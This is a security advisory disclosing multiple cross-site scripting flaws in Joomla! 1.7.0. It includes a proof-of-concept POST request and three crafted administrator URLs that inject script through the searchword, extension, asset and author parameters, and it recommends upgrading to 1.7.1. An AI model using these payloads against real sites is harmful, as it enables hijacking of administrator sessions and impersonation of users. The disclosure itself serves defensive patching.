Multiple XSS Vulnerabilities Found in Joomla! 1.7.0


Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site Scripting issues.

About Joomla:- 
Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization.


Vulnerability Description:-

Several parameters (searchword, extension, asset, author ) in Joomla! Core components are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.


Version Affected:-
1.7.0 <=


PROOF-OF-CONCEPT/EXPLOIT:-
parameter: searchword, component: com_search (Browser: IE, Konqueror)
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N.B. Our previous reported issue of "searchword" parameter XSS was not fixed completely.

[REQUEST]
POST /joomla17_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla17_noseo
Content-Type: application/x-www-form-urlencoded
Content-Length: 456

task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
[/REQUEST]

User Login is required to execute the following XSSes.

Parameter: extension, Component:-
http://localhost/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22

Parameter:-
http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=

Parameter:-
http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22

Impact:-
Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions.

Solution:-
Upgrade to Joomla! 1.7.1-stable or higher.

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